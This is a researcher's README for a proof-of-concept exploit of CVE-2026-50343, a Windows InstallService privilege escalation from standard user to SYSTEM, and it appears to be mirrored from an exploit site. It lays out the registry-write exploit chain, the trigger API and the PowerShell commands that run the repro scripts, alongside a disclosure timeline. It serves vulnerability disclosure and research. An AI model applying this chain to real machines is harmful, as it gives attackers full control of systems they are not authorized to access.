## https://sploitus.com/exploit?id=FE297269-5F92-5FE6-9B2B-ADA03A4867FB
# CVE-2026-50343: InstallService StaticPluginMap EoP (Standard User to SYSTEM)
I independently discovered and reported the vulnerability now tracked as
`CVE-2026-50343`. MSRC confirmed my submission as a duplicate of an earlier
report from another researcher. A standard interactive user can write
attacker-controlled plugin state under
`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State`. The
Microsoft Store Install Service runs as `NT AUTHORITY\SYSTEM`, reads
`PlugInList` and `StaticPluginMap`, and loads the mapped DLL after a public
`AppInstallManager.SearchForAllUpdatesAsync()` trigger. The result is local
standard-user to SYSTEM code execution.
**[馃摴 Interactive SYSTEM shell demo video](interactive-system-shell-repro/evidence/installservice-staticplugin.mp4)**
| | |
|---|---|
| CVE | [CVE-2026-50343](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343) |
| MSRC case | `120271` / `VULN-192719` |
| MSRC status | Confirmed duplicate of an earlier researcher report |
| Microsoft severity | Important |
| Microsoft CVSS | 7.8 High - `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| Bug class | Incorrect registry ACL / privileged DLL loading |
| Root cause | Standard users can create or write InstallService plugin map state consumed by a SYSTEM service |
| Component | Windows InstallService / Microsoft Store install and update broker |
| Trigger | `Windows.ApplicationModel.Store.Preview.InstallControl.AppInstallManager.SearchForAllUpdatesAsync()` |
| Affected tested build | Windows 11 25H2 build `26200.8037` |
| Previous tested build | Windows 11 Pro 25H2 build `26200.8524` |
| Impact | Standard user -> `NT AUTHORITY\SYSTEM` code execution |
| Required | Local standard user, interactive logon |
| Microsoft CWE | CWE-269: Improper Privilege Management |
| Researcher root-cause classification | CWE-732: Incorrect Permission Assignment for Critical Resource |
## TL;DR
`InstallService` trusts plugin names and DLL paths from HKLM state that a
standard interactive user can write. A low-privileged user creates a fresh
plugin name, points it at an attacker-controlled DLL, and calls the Store
install-control WinRT API. `InstallService` then loads that DLL inside
`C:\Windows\System32\svchost.exe` as `NT AUTHORITY\SYSTEM`.
The stronger fresh-VM repro in this repo opens a visible SYSTEM `cmd.exe` in the
active desktop session. In the attached video, `desktop-ud6iv88\user1` starts as
a standard user and the spawned shell reports:
```text
nt authority\system S-1-5-18
```
## Vulnerability
The vulnerable state lives under:
```text
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State\PlugInList
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State\StaticPluginMap
```
On tested builds, a standard interactive user can create the missing subkeys or
set values beneath them. `InstallService` later consumes those values as plugin
configuration while running as SYSTEM.
The core exploit chain:
1. Standard user places an attacker-controlled DLL in a readable location.
2. Standard user writes `PlugInList\ = 1`.
3. Standard user writes `StaticPluginMap\ = `.
4. Standard user calls `AppInstallManager.SearchForAllUpdatesAsync()`.
5. `InstallService` loads the attacker DLL as SYSTEM.
6. DLL code executes as `NT AUTHORITY\SYSTEM`.
## Interactive SYSTEM Shell Repro
Use the stronger repro:
```text
interactive-system-shell-repro/
```
From a standard-user PowerShell:
```powershell
cd interactive-system-shell-repro
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Cleanup-InstallServiceInteractiveShell.ps1
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Run-InstallServiceInteractiveShell.ps1
```
When the SYSTEM shell opens:
```cmd
whoami /user
whoami /priv
```
Each run writes evidence under:
```text
C:\Users\Public\InstallServiceEopProof\
```
## Original Minimal Repro
The original MSRC submission files are still present for reference:
| File | Description |
|------|-------------|
| `exploit.ps1` | Original self-contained PoC that writes registry state, triggers InstallService, and verifies SYSTEM marker files |
| `canary.c` | Original marker-write DLL source |
| `isp_exploit.dll` | Original prebuilt marker-write DLL |
Usage:
```powershell
powershell.exe -ExecutionPolicy Bypass -File .\exploit.ps1 -PayloadDll "C:\Users\Public\isp_exploit.dll"
powershell.exe -ExecutionPolicy Bypass -File .\exploit.ps1 -Cleanup
```
## Timeline
| Date | Event |
|------|-------|
| 2026-06-03 | Original InstallService report submitted to MSRC as `VULN-192719` |
| 2026-06-04 | MSRC case `120271` opened |
| 2026-06-13 | Fresh Windows 11 25H2 build `26200.8037` standard-user interactive SYSTEM shell repro recorded and added to the submitted MSRC case |
| 2026-06-27 | MSRC confirmed the report was a duplicate of an earlier researcher submission |
| 2026-07-14 | Microsoft published `CVE-2026-50343` and released security updates |
---
## Resources
- Microsoft advisory: [CVE-2026-50343](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343)
- Strong repro: [`interactive-system-shell-repro/`](interactive-system-shell-repro/)
- Demo video: [`interactive-system-shell-repro/evidence/installservice-staticplugin.mp4`](interactive-system-shell-repro/evidence/installservice-staticplugin.mp4)
- Original PoC: [`exploit.ps1`](exploit.ps1)
- Original canary source: [`canary.c`](canary.c)
---
> **Disclaimer:** This exploit code is provided for security research and
> educational purposes. Do not use it against systems you do not own or have
> explicit authorization to test. The author is not responsible for misuse.
*CVE-2026-50343 - independently reported to MSRC as case `120271` / `VULN-192719` and confirmed as a duplicate of an earlier researcher submission.*
*Daniel Wade - [GitHub](https://github.com/Rat5ak) 路 [Twitter/X](https://x.com/Nadsec11) 路 [Bluesky](https://bsky.app/profile/nadsec.online) 路 [Mastodon](https://cyberplace.social/@Nadsec) 路 [Medium](https://medium.com/@Nadsec) 路 [nadsec.online](https://nadsec.online)*